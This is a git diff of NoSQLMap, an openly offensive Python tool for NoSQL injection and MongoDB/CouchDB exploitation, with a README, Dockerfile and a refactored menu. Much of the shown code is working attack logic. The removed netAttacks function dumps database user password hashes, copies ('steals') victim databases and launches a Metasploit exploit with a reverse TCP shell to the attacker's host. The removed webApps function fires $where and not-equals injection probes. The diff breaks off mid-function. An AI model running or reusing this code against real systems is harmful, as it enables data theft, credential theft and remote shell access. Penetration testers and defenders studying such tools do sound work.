diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
new file mode 100644
index 0000000..33a48a1
--- /dev/null
+++ b/.github/FUNDING.yml
@@ -0,0 +1,12 @@
+# These are supported funding model platforms
+
+github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
+patreon: # Replace with a single Patreon username
+open_collective: # Replace with a single Open Collective username
+ko_fi: # Replace with a single Ko-fi username
+tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
+community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
+liberapay: # Replace with a single Liberapay username
+issuehunt: # Replace with a single IssueHunt username
+otechie: # Replace with a single Otechie username
+custom: PayPal.Me/codingo
diff --git a/.github/workflows/stale.yml b/.github/workflows/stale.yml
new file mode 100644
index 0000000..7bbc050
--- /dev/null
+++ b/.github/workflows/stale.yml
@@ -0,0 +1,19 @@
+name: Mark stale issues and pull requests
+
+on:
+ schedule:
+ - cron: "0 0 * * *"
+
+jobs:
+ stale:
+
+ runs-on: ubuntu-latest
+
+ steps:
+ - uses: actions/stale@v1
+ with:
+ repo-token: ${{ secrets.GITHUB_TOKEN }}
+ stale-issue-message: 'Stale issue message'
+ stale-pr-message: 'Stale pull request message'
+ stale-issue-label: 'no-issue-activity'
+ stale-pr-label: 'no-pr-activity'
diff --git a/.gitignore b/.gitignore
index b9d6bd9..445bc6e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -213,3 +213,13 @@ pip-log.txt
#Mr Developer
.mr.developer.cfg
+
+*.xml
+
+.idea/.name
+
+.idea/NoSQLMap.iml
+*.iml
+*.pyproj
+*.sln
+/.vs/ProjectSettings.json
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..3c46d8d
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,17 @@
+FROM python:2.7-alpine
+
+RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories
+RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories
+RUN apk update && apk add mongodb git
+
+WORKDIR /work
+COPY . /work
+
+RUN python setup.py install
+
+RUN python -m pip install 'requests<2.28' 'certifi<=2020.4.5.1'
+
+COPY entrypoint.sh /tmp/entrypoint.sh
+RUN chmod +x /tmp/entrypoint.sh
+
+ENTRYPOINT ["/tmp/entrypoint.sh"]
diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md
new file mode 100644
index 0000000..92018da
--- /dev/null
+++ b/ISSUE_TEMPLATE.md
@@ -0,0 +1,25 @@
+## What's the problem (or question)?
+
+
+
+## Do you have an idea for a solution?
+
+
+
+## How can we reproduce the issue?
+
+1.
+2.
+3.
+4.
+
+## What are the running context details?
+
+* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`):
+* Client OS (e.g. `Microsoft Windows 10`)
+* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
+* Target DBMS (e.g. `Mongo`):
+* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`):
+* Results of manual target assessment
+* Relevant console output (if any):
+* Exception traceback (if any):
diff --git a/README.md b/README.md
index 1121fe0..1aa3b47 100644
--- a/README.md
+++ b/README.md
@@ -1,76 +1,146 @@
-NoSQLMap
-========
+# NoSQLMap
-[NoSQLMap](http://www.nosqlmap.net) v0.15
+[](https://www.python.org/)
+[](https://github.com/codingo/NoSQLMap/blob/master/COPYING)
+[](https://twitter.com/codingo_)
-Introduction
-============
+NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database.
-NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database.
+Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf).
-It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
+## NoSQLMap MongoDB Management Attack Demo.
-Requirements
-============
+
+
+## Screenshots
+
+
+
+# Summary
+
+## What is NoSQL?
+
+A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
+
+## DBMS Support
+
+Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases.
+
+## Requirements
+
+On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies.
Varies based on features used:
-- Metasploit Framework,
-- Python with PyMongo,
-- httplib2,
-- and urllib available.
-- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions.
-There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script.
+- Metasploit Framework,
+- Python with PyMongo,
+- httplib2,
+- and urllib available.
+- A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions.
-Usage
-=====
+There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script.
--Start with
+## Setup
```
-./nosqlmap.py
+python setup.py install
```
-or
+Alternatively you can build a Docker image by entering:
```
-python nosqlmap.py.
+docker build -t nosqlmap .
```
-NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu:
+or you can use Docker-compose to run Nosqlmap:
+
+```
+docker-compose build
+docker-compose run nosqlmap
+```
+
+## Usage Instructions
+
+Start with
+
+```
+python NoSQLMap
+```
+
+NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu:
```
1-Set options (do this first)
2-NoSQL DB Access Attacks
3-NoSQL Web App attacks
-4-Exit
+4-Scan for Anonymous MongoDB Access
+x-Exit
```
-**ALWAYS USE OPTION 1 FIRST TO SET THE PARAMETERS!**
-
Explanation of options:
+
```
1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack.
2. Set web app port-TCP port for the web application if a web application is the target.
3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102).
-4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp.
+4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp.
5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to.
6. Set shell listener port-If opening Meterpreter shells, specify the port.
7. Load options file-Load a previously saved set of settings for 1-6.
-8. Save options file-Save settings 1-6 for future use.
-9. Back to main menu-Use this once the options are set to start your attacks.
+8. Load options from saved Burp request-Parse a request saved from Burp Suite and populate the web application options.
+9. Save options file-Save settings 1-6 for future use.
+x. Back to main menu-Use this once the options are set to start your attacks.
```
-Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to nosqlmap@gmail.com or find me on Twitter [@tcstoolHax0r](https://twitter.com/tcstoolHax0r) if you have any questions or suggestions.
+Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions.
+
+## Vulnerable Applications
+
+This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory.
-Video
-=====
+```
+docker-compose build && docker-compose up
+```
-NoSQLMap MongoDB Management Attack Demo.
+Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1:8080/index.html
-
+## Scripting
-Contribute
-==========
+The cli can also be scripted. Here's an example script using NoSQLMap to detect the vulnerabilities in vuln_apps:
-If you'd like to contribute, please create [new issue](https://github.com/tcstool/NoSQLMap/issues) or [pull request](https://github.com/tcstool/NoSQLMap/pulls).
+```
+$ echo "1. Account Lookup (acct.php)"
+$ docker-compose run --remove-orphans nosqlmap \
+ --attack 2 \
+ --victim host.docker.internal \
+ --webPort 8080 \
+ --uri "/acct.php?acctid=test" \
+ --httpMethod GET \
+ --params 1 \
+ --injectSize 4 \
+ --injectFormat 2 \
+ --doTimeAttack n
+
+$ echo "2. User Data Lookup (userdata.php) - JavaScript Injection"
+$ docker-compose run --remove-orphans nosqlmap \
+ --attack 2 \
+ --victim host.docker.internal \
+ --webPort 8080 \
+ --uri "/userdata.php?usersearch=test" \
+ --httpMethod GET \
+ --params 1 \
+ --injectSize 4 \
+ --injectFormat 2 \
+ --doTimeAttack n
+
+$ echo "3. Order Data Lookup (orderdata.php) - JavaScript Injection"
+$ docker-compose run --remove-orphans nosqlmap \
+ --attack 2 \
+ --victim host.docker.internal \
+ --webPort 8080 \
+ --uri "/orderdata.php?ordersearch=test" \
+ --httpMethod GET \
+ --params 1 \
+ --injectSize 4 \
+ --injectFormat 2 \
+ --doTimeAttack n
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..dc505f6
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,6 @@
+version: "3"
+services:
+ nosqlmap:
+ image: nosqlmap:latest
+ build:
+ context: .
diff --git a/docs/_config.yml b/docs/_config.yml
new file mode 100644
index 0000000..c419263
--- /dev/null
+++ b/docs/_config.yml
@@ -0,0 +1 @@
+theme: jekyll-theme-cayman
\ No newline at end of file
diff --git a/docs/nop b/docs/nop
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/docs/nop
@@ -0,0 +1 @@
+
diff --git a/entrypoint.sh b/entrypoint.sh
new file mode 100644
index 0000000..1831ba8
--- /dev/null
+++ b/entrypoint.sh
@@ -0,0 +1,2 @@
+#!/bin/ash
+python nosqlmap.py "$@"
diff --git a/exception.py b/exception.py
new file mode 100644
index 0000000..72659c8
--- /dev/null
+++ b/exception.py
@@ -0,0 +1,6 @@
+#!/usr/bin/python
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+
+class NoSQLMapException(Exception):
+ pass
diff --git a/nosqlmap.py b/nosqlmap.py
index f8ef300..1aac75d 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -1,759 +1,544 @@
#!/usr/bin/python
-#NoSQLMap Copyright 2013 Russell Butturini
-#This program is free software: you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-#the Free Software Foundation, either version 3 of the License, or
-#(at your option) any later version.
-
-#This program is distributed in the hope that it will be useful,
-#but WITHOUT ANY WARRANTY; without even the implied warranty of
-#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-#GNU General Public License for more details.
-
-#You should have received a copy of the GNU General Public License
-#along with this program. If not, see .
-
+# -*- coding: utf-8 -*-
+# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
+# See the file 'doc/COPYING' for copying permission
+from exception import NoSQLMapException
import sys
-import string
-import random
+import nsmcouch
+import nsmmongo
+import nsmscan
+import nsmweb
import os
-import time
-import httplib2
-import urllib
-import pymongo
-import subprocess
+import signal
+import ast
-#Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu.
-global optionSet
-optionSet = [False,False,False,False,False,False]
+import argparse
+def main(args):
+ signal.signal(signal.SIGINT, signal_handler)
+ global optionSet
+ # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
+ optionSet = [False]*9
+ global yes_tag
+ global no_tag
+ yes_tag = ['y', 'Y']
+ no_tag = ['n', 'N']
+ global victim
+ global webPort
+ global uri
+ global httpMethod
+ global platform
+ global https
+ global myIP
+ global myPort
+ global verb
+ global scanNeedCreds
+ global dbPort
+ # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
+ platform = "MongoDB"
+ dbPort = 27017
+ myIP = "Not Set"
+ myPort = "Not Set"
+ if args.attack:
+ attack(args)
+ else:
+ mainMenu()
+
def mainMenu():
- select = True
- while select:
- os.system('clear')
- #label = subprocess.check_output(["git","describe","--always"])
- print "NoSQLMap-v0.15"
- print "nosqlmap@gmail.com"
- print "\n"
- print "1-Set options (do this first)"
- print "2-NoSQL DB Access Attacks"
- print "3-NoSQL Web App attacks"
- print "4-Exit"
-
- select = raw_input("Select an option:")
-
- if select == "1":
- options()
-
- elif select == "2":
- if optionSet[0] == True:
- netAttacks(victim)
-
- #Check minimum required options
- else:
- raw_input("Target not set! Check options. Press enter to continue...")
- mainMenu()
-
-
- elif select == "3":
- #Check minimum required options
- if (optionSet[0] == True) and (optionSet[2] == True):
- webApps()
-
- else:
- raw_input("Options not set! Check Host and URI path. Press enter to continue...")
- mainMenu()
-
- elif select == "4":
- sys.exit()
-
- else:
- raw_input("Invalid Selection. Press enter to continue.")
- mainMenu()
-
+ global platform
+ global victim
+ global dbPort
+ global myIP
+ global webPort
+ global uri
+ global httpMethod
+ global https
+ global verb
+ global requestHeaders
+ global postData
+
+ mmSelect = True
+ while mmSelect:
+ os.system('clear')
+ print " _ _ ___ ___ _ __ __ "
+ print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ "
+ print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\"
+ print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/")
+ print(" v0.7 codingo@protonmail.com |_| ")
+ print "\n"
+ print "1-Set options"
+ print "2-NoSQL DB Access Attacks"
+ print "3-NoSQL Web App attacks"
+ print "4-Scan for Anonymous " + platform + " Access"
+ print "5-Change Platform (Current: " + platform + ")"
+ print "x-Exit"
+
+ select = raw_input("Select an option: ")
+
+ if select == "1":
+ options()
+
+ elif select == "2":
+ if optionSet[0] == True and optionSet[4] == True:
+ if platform == "MongoDB":
+ nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
+
+ elif platform == "CouchDB":
+ nsmcouch.netAttacks(victim, dbPort, myIP)
+
+ # Check minimum required options
+ else:
+ raw_input("Target not set! Check options. Press enter to continue...")
+
+
+ elif select == "3":
+ # Check minimum required options
+ if (optionSet[0] == True) and (optionSet[2] == True):
+ if httpMethod == "GET":
+ nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
+
+ elif httpMethod == "POST":
+ nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders)
+
+ else:
+ raw_input("Options not set! Check host and URI path. Press enter to continue...")
+
+
+ elif select == "4":
+ scanResult = nsmscan.massScan(platform)
+
+ if scanResult != None:
+ optionSet[0] = True
+ victim = scanResult[1]
+
+ elif select == "5":
+ platSel()
+
+ elif select == "x":
+ sys.exit()
+
+ else:
+ raw_input("Invalid selection. Press enter to continue.")
+
+def build_request_headers(reqHeadersIn):
+ requestHeaders = {}
+ reqHeadersArray = reqHeadersIn.split(",")
+ headerNames = reqHeadersArray[0::2]
+ headerValues = reqHeadersArray[1::2]
+ requestHeaders = dict(zip(headerNames, headerValues))
+ return requestHeaders
+
+def build_post_data(postDataIn):
+ pdArray = postDataIn.split(",")
+ paramNames = pdArray[0::2]
+ paramValues = pdArray[1::2]
+ postData = dict(zip(paramNames,paramValues))
+ return postData
+
+def attack(args):
+ platform = args.platform
+ victim = args.victim
+ webPort = args.webPort
+ dbPort = args.dbPort
+ myIP = args.myIP
+ myPort = args.myPort
+ uri = args.uri
+ https = args.https
+ verb = args.verb
+ httpMethod = args.httpMethod
+ requestHeaders = build_request_headers(args.requestHeaders)
+ postData = build_post_data(args.postData)
+
+ if args.attack == 1:
+ if platform == "MongoDB":
+ nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args)
+ elif platform == "CouchDB":
+ nsmcouch.netAttacks(victim, dbPort, myIP, args)
+ elif args.attack == 2:
+ if httpMethod == "GET":
+ nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args)
+ elif httpMethod == "POST":
+ nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args)
+ elif args.attack == 3:
+ scanResult = nsmscan.massScan(platform)
+ if scanResult != None:
+ optionSet[0] = True
+ victim = scanResult[1]
+
+def platSel():
+ global platform
+ global dbPort
+ select = True
+ print "\n"
+
+ while select:
+ print "1-MongoDB"
+ print "2-CouchDB"
+ pSel = raw_input("Select a platform: ")
+
+ if pSel == "1":
+ platform = "MongoDB"
+ dbPort = 27017
+ return
+
+ elif pSel == "2":
+ platform = "CouchDB"
+ dbPort = 5984
+ return
+ else:
+ raw_input("Invalid selection. Press enter to continue.")
+
def options():
- global victim
- global webPort
- global uri
- global httpMethod
- global myIP
- global myPort
-
- #Set default value if needed
- if optionSet[0] == False:
- victim = "Not Set"
- if optionSet[1] == False:
- webPort = 80
- optionSet[1] = True
- if optionSet[2] == False:
- uri = "Not Set"
- if optionSet[3] == False:
- httpMethod = "GET"
- if optionSet[4] == False:
- myIP = "Not Set"
- if optionSet[5] == False:
- myPort = "Not Set"
-
- select = True
-
- while select:
- print "\n\n"
- print "Options"
- print "1-Set target host/IP (Current: " + str(victim) + ")"
- print "2-Set web app port (Current: " + str(webPort) + ")"
- print "3-Set App Path (Current: " + str(uri) + ")"
- print "4-Set HTTP Request Method (GET/POST)"
- print "5-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")"
- print "6-Set shell listener port (Current: " + str(myPort) + ")"
- print "7-Load options file"
- print "8-Save options file"
- print "9-Back to main menu"
-
- select = raw_input("Select an option: ")
-
- if select == "1":
- victim = raw_input("Enter the host IP/DNS name: ")
- print "\nTarget set to " + victim + "\n"
- optionSet[0] = True
- options()
-
- elif select == "2":
- webPort = raw_input("Enter the HTTP port for web apps: ")
- print "\nHTTP port set to " + webPort + "\n"
- optionSet[1] = True
- options()
-
- elif select == "3":
- uri = raw_input("Enter URI Path (Press enter for no URI): ")
- print "\nURI Path set to " + uri + "\n"
- optionSet[2] = True
- options()
-
- #NOT IMPLEMENTED YET FOR USE
- elif select == "4":
- httpMethod = True
- while httpMethod:
-
- print "1-Send request as a GET"
- print "2-Send request as a POST"
- httpMethod = raw_input("Select an option: ")
-
- if httpMethod == "1":
- print "GET request set"
- optionSet[3] = True
- options()
-
- elif httpMethod == "2":
- print "POST request set"
- optionSet[3] = True
- options()
- else:
- print "Invalid selection"
-
- elif select == "5":
- myIP = raw_input("Enter host IP for my Mongo/Shells: ")
- print "Shell IP set to " + myIP + "\n"
- optionSet[4] = True
- options()
-
- elif select == "6":
- myPort = raw_input("Enter TCP listener for shells: ")
- print "Shell TCP listener set to " + myPort + "\n"
- optionSet[5] = True
- options()
-
- elif select == "7":
- loadPath = raw_input("Enter file name to load: ")
- try:
- fo = open(loadPath,"r" )
- csvOpt = fo.read()
- fo.close()
- optList = csvOpt.split(",")
- victim = optList[0]
- webPort = optList[1]
- uri = optList[2]
- httpMethod = optList[3]
- myIP = optList[4]
- myPort = optList[5]
-
- #Set option checking array based on what was loaded
- x = 0
- for item in optList:
- if item != "Not Set":
- optionSet[x] = True
- x += 1
- except:
- print "Couldn't load options file!"
- options()
-
- elif select == "8":
- savePath = raw_input("Enter file name to save: ")
- try:
- fo = open(savePath, "wb")
- fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort))
- fo.close()
- print "Options file saved!"
- except:
- print "Couldn't save options file."
- elif select == "9":
- mainMenu()
-
-def netAttacks(target):
- mgtOpen = False
- webOpen = False
- #This is a global for future use with other modules; may change
- global dbList
-
- srvNeedCreds = raw_input("Does the database server need credentials? ")
-
- if srvNeedCreds == "n" or srvNeedCreds == "N":
-
- try:
- conn = pymongo.MongoClient(target,27017)
- print "MongoDB port open on " + target + ":27017!"
- mgtOpen = True
-
- except:
- print "MongoDB port closed."
-
-
-
-
- elif srvNeedCreds == "y" or srvNeedCreds == "Y":
- srvUser = raw_input("Enter server username: ")
- srvPass = raw_input("Enter server password: ")
- uri = "mongodb://" + srvUser + ":" + srvPass + "@" + victim +"/"
-
- try:
- conn = pymongo.MongoClient(uri)
- print "MongoDB authenticated on " + target + ":27017!"
- mgtOpen = True
- except:
- raw_input("Failed to authenticate. Press enter to continue...")
- mainMenu()
-
-
- mgtUrl = "http://" + target + ":28017"
- #Future rev: Add web management interface parsing
-
- try:
- mgtRespCode = urllib.urlopen(mgtUrl).getcode()
- if mgtRespCode == 200:
- print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
-
- except:
-
- print "MongoDB web management closed or requires authentication."
-
- if mgtOpen == True:
- #Ths is compiling server info?????
- print "Server Info:"
- serverInfo = conn.server_info()
- print serverInfo
-
- print "\n"
-
- try:
- print "List of databases:"
- dbList = conn.database_names()
- print "\n".join(dbList)
- print "\n"
-
- except:
- print "Error: Couldn't list databases. The provided credentials may not have rights."
-
- print "List of collections:"
- #print "\n"
-
- try:
- for dbItem in dbList:
- db = conn[dbItem]
- colls = db.collection_names()
- print dbItem + ":"
- print "\n".join(colls)
- if 'system.users' in colls:
- users = list(db.system.users.find())
- print "Database Users and Password Hashes:"
- #print dbItem
- print str(users)
- #print "\n"
-
- except:
- print "Error: Couldn't list collections. The provided credentials may not have rights."
-
- stealDB = raw_input("Steal a database? (Requires your own Mongo instance): ")
-
- if stealDB == "y" or stealDB == "Y":
- stealDBs (myIP)
-
- getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)?")
-
- if getShell == "y" or getShell == "Y":
- #Launch Metasploit exploit
- try:
- proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True)
-
- except:
- print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
- raw_input("Press enter to continue...")
- return()
-
-
-
-def webApps():
- paramName = []
- paramValue = []
- vulnAddrs = []
- possAddrs = []
- appUp = False
- strTbAttack = False
- intTbAttack = False
-
- #Verify app is working.
- print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
-
- appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
-
- try:
- appRespCode = urllib.urlopen(appURL).getcode()
- if appRespCode == 200:
- normLength = int(len(urllib.urlopen(appURL).read()))
- timeReq = urllib.urlopen(appURL)
- start = time.time()
- page = timeReq.read()
- end = time.time()
- timeReq.close()
- timeBase = round((end - start), 3)
-
-
-
- print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds. Starting injection test.\n"
- appUp = True
-
- else:
- print "Got " + appRespCode + "from the app, check your options."
- except:
- print "Looks like the server didn't respond. Check your options."
-
- if appUp == True:
-
- injectSize = raw_input("Baseline test-Enter random string size: ")
- injectString = randInjString(int(injectSize))
- print "Using " + injectString + " for injection testing.\n"
-
- #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
- #Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
- randomUri = buildUri(appURL,injectString)
- print "Checking random injected parameter HTTP response size using " + randomUri +"...\n"
- randLength = int(len(urllib.urlopen(randomUri).read()))
- print "Got response length of " + str(randLength) + "."
-
- randNormDelta = abs(normLength - randLength)
-
- if randNormDelta == 0:
- print "No change in response size injecting a random parameter..\n"
- else:
- print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n"
-
- print "Testing Mongo PHP not equals associative array injection using " + neqUri +"..."
- injLen = int(len(urllib.urlopen(neqUri).read()))
- print "Got response length of " + str(injLen) + "."
-
- randInjDelta = abs(injLen - randLength)
-
- if (randInjDelta >= 100) and (injLen != 0) :
- print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!"
- vulnAddrs.append(neqUri)
-
- elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) :
- print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. "
- possAddrs.append(neqUri)
-
- elif (randInjDelta == 0):
- print "Random string response size and not equals injection were the same. Injection did not work."
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(neqUri)
-
- print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
- print "Injecting " + whereStrUri
-
- whereStrLen = int(len(urllib.urlopen(whereStrUri).read()))
- whereStrDelta = abs(whereStrLen - randLength)
-
- if (whereStrDelta >= 100) and (whereStrLen > 0):
- print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!"
- vulnAddrs.append(whereStrUri)
-
- elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
- print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
- possAddrs.append(whereStrUri)
-
- elif (whereStrDelta == 0):
- print "Random string response size and $where injection were the same. Injection did not work."
-
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(whereStrUri)
-
- print "\n"
- print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
- print "Injecting " + whereIntUri
-
- whereIntLen = int(len(urllib.urlopen(whereIntUri).read()))
- whereIntDelta = abs(whereIntLen - randLength)
-
- if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
- print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
- vulnAddrs.append(whereIntUri)
-
- elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
- print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
- possAddrs.append(whereIntUri)
-
- elif (whereIntDelta == 0):
- print "Random string response size and $where injection were the same. Injection did not work."
-
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(whereIntUri)
-
- #Start a single record attack in case the app expects only one record back
-
- print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
- print " Injecting " + whereOneStr
-
-
- whereOneStrLen = int(len(urllib.urlopen(whereOneStr).read()))
- whereOneStrDelta = abs(whereOneStrLen - randLength)
-
- if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
- print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!"
- vulnAddrs.append(whereOneStr)
-
- elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
- print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
- possAddrs.append(whereOneStr)
-
- elif (whereOneStrDelta == 0):
- print "Random string response size and $where single injection were the same. Injection did not work."
-
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(whereOneStr)
-
- print "\n"
- print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
- print " Injecting " + whereOneInt
-
-
- whereOneIntLen = int(len(urllib.urlopen(whereOneInt).read()))
- whereOneIntDelta = abs(whereOneIntLen - randLength)
-
- if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
- print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
- vulnAddrs.append(whereOneInt)
-
- elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
- print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
- possAddrs.append(whereOneInt)
-
- elif (whereOneIntDelta == 0):
- print "Random string response size and $where single record injection were the same. Injection did not work."
-
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(whereOneInt)
-
- print "\n"
- print "Testing Mongo this not equals string escape attack for all records..."
- print " Injecting " + strThisNeqUri
-
- whereThisStrLen = int(len(urllib.urlopen(strThisNeqUri).read()))
- whereThisStrDelta = abs(whereThisStrLen - randLength)
-
- if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0):
- print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
- vulnAddrs.append(strThisNeqUri)
-
- elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0):
- print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
- possAddrs.append(strThisNeqUri)
-
- elif (WhereThisStrDelta == 0):
- print "Random string response size and this return response size were the same. Injection did not work."
-
- else:
- print "Injected response was smaller than random response. Injection may have worked but requires verification."
- possAddrs.append(strThisNeqUri)
-
- print "\n"
- print "Testing Mongo this not equals integer escape attack for all records..."
- print " Injecting " + intThisNeqUri
-
- whereThisIntLen = int(len(urllib.urlopen(intThisNeqUri).read()))
- whereThisIntDelta = abs(whereThisIntLen - randLength)
-
- if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0):
